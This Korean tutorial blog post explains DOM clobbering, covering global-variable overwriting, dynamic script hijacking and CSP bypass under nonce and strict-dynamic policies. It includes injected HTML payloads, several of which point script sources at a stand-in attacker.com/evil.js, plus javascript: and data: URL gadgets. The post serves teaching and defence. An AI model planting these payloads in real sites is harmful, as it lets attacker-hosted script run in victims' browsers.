DOM Clobbering란?
HTML 요소의 id 혹은 name 속성을 악용하여 JavaScript 전역 변수나 내장 DOM 속성을 덮어쓰는 공격 기법이다.
브라우저는 페이지 로드 시 id/name이 지정된 요소를 window, document 객체의 프로퍼티로 등록한다.
이 떄 정의되지 않은 변수명과 일치하는 id/name이 존재하면 해당 변수는 그 DOM 요소를 가리키게 된다.
이럴경우, a태그 form 태그와 같은 HTML 태그를 삽입하여 기존 JavaScript 코드의 변수나 프로퍼티를 덮어쓰고, 이를 통해 원래 의도와 다른 동작을 유발하게 된다.
보통의 경우 <script> 태그가 필터링된 경우 이를 우회하기 위해 사용되며, 브라우저의 named property access 규칙에 따라, DOM 요소 참조는 내장 API나 개발자 정의 변수보다 우선시되므로 이러한 충돌이 발생되는 원리다.
공격 메커니즘
- 전역 변수 덮어쓰기 (HTML 삽입)
- 일부 form, img, iframe등의 태그들은 name 속성으로 DOM 컬렉션에 등록된다. 예를 들어 DOM 상에서 스크립트가 window.config.url을 사용해 동적 스크립트를 로드하게될 경우 공격자는 <a id='config' name='url' href='javascript:alert(1)'></a>와 같이 해당 요소로 설정되어 임의 코드가 실행되게 된다.
- 이 외에도 document.write, location, self등 내장 속성 또한 충돌로 인해 변경이 가능하다.
- 프레임/창 속성 변경
- 오래된 사례이지만, iframe name="self"와 같이 만들경우 top.location = self.location같은 코드를 우회할 수 있다.
- DOM Clobbering은 XSS뿐 아닌 오픈 리다이렉트, CSRF Token Bypass, 인증 우회등 다양한 취약점으로 이어질 수 있다.
- CSP 우회
- CSP로 인한 스크립트 삽입에 제한이 있을 경우, 기존 안전 코드에서 가젯을 작동시켜 우회가 가능하다.
공격 시나리오
1. 전역 변수 덮어쓰기
<!-- 취약 스크립트 -->
<script>
let redirectTo = window.redirectTo || '/home';
location.assign(redirectTo);
</script>
<!-- 공격자 주입 -->
<a id="redirectTo" href="javascript:alert('XSS')">Malicious</a>
공격자가 위 a태그를 삽입하면, 브라우저 로딩 시 window.redirecTo가 해당 a태그의 속성을 참조하게되며, XSS가 발생된다.
2. 동적 스크립트 로딩 악용
<!-- 취약 스크립트 -->
<script>
var s = document.createElement('script');
let src = window.config.url || 'script.js';
s.src = src;
document.body.appendChild(s);
</script>
<!-- 공격자 주입 -->
<a id="config"></a>
<a id="config" name="url" href="https://attacker.com/evil.js"></a>
공격자가 첫 번째 <a id="config">로 window.config 객체를 만들고, 두 번째 <a>의 name="url"로 window.url에 악성 스크립트를 지정한다. 결과적으로 s.src는 공격자가 삽입한 evil.js를 가리켜 임의 코드가 실행된다
3. CSP 우회
PortSwigger 연구 사례에서는 CSP 환경에서도 아래와 같이 2개의 a태그 를 삽입해 script.src 속성을 덮어썼다
<!-- 공격자 주입 예시 -->
<a id=ehy><a id=ehy name=codeBasePath href="data:,alert(1)//">
이는 내부적으로 window.ehy와 window.codeBasePath를 조작하여 본래 안전 스크립트 경로를 변경했다.
- 공격자는 통제 가능한 HTML 태그를 삽입한다.
- 브라우저가 해당 id/name으로 전역 변수를 등록한다.
- 취약 스크립트가 이 전역 변수를 참조하며, 악성 RUL이나 코드를 사용한다.
- 공격자가 의도한 스크립트가 실행되거나 중요 로직이 변경된다.
CSP정책상 Script에 nonce값을 사용해야할 경우 script태그의 id속성을 사용하여 JS객체를 덮어쓰고 악성 스크립트를 실행시킬 수 있다.
CSP 우회를 위한 공격 시나리오
1. nonce-only 환경 : <script>태그 내 코드가 전역 변수를 참조할 경우 아래와 같이 우회가 가능하다.
<!-- 취약 스크립트: nonce 값이 있어 실행되지만, URL 정보를 전역객체에서 읽어옴 -->
<script nonce="abc">
var config = window.someConfig || {};
var s = document.createElement('script');
s.src = config.url; // 원래라면 정상 도메인 URL
document.body.appendChild(s);
</script>
<!-- 공격자가 삽입한 DOM (DOM Clobbering) -->
<a id="someConfig"></a>
<a id="someConfig" name="url" href="//attacker.com/evil.js"></a>
2. strict-dynamic
CSP정책에 strict-dynamic이 포함된 경우, 최초 nonce 스크립트가 새로운 스크립트를 삽입하면 이를 허용한다.
<script nonce="abc">
// 공격자는 알맞은 nonce가 부착된 이 스크립트 블록 내에서 악성 코드를 실행시킨다
document.write('<script src="//attacker.com/evil.js"><\/script>');
</script>
위 경우, strict-dynamic 정책 하에서는 첫 번째 <script nonce="abc">가 로드된 이후에 동적으로 삽입되는 evil.js까지 신뢰된 것으로 간주되어 실행된다
참고자료
https://portswigger.net/web-security/dom-based/dom-clobbering#:~:text=%60%3Ca%20id%3DsomeObject%3E%3Ca%20id%3DsomeObject%20name%3Durl%20href%3D%2F%2Fmalicious,js
https://cheatsheetseries.owasp.org/cheatsheets/DOM_Clobbering_Prevention_Cheat_Sheet.html#:~:text=
https://portswigger.net/research/bypassing-csp-via-dom-clobbering#:~:text=To%20exploit%20DOM%20clobbering%20you,need%20three%20things
https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-clobbering.html#:~:text=Only%20certain%20elements%20can%20use,object
'Web > Web Hacking Techniques' 카테고리의 다른 글
MongoDB (MongoDB Injection) (0) | 2025.05.16 |
---|---|
Apache CouchDB (CouchDB Injection) (0) | 2025.05.15 |
Flask Debugger (Console Mode) Vulnerabilities (0) | 2025.05.13 |
브라우저의 URL 정규화 방식(Proxy Tool Bypass) (0) | 2025.05.13 |
Servcer Side Requests Forgery (SSRF) (1) | 2025.05.07 |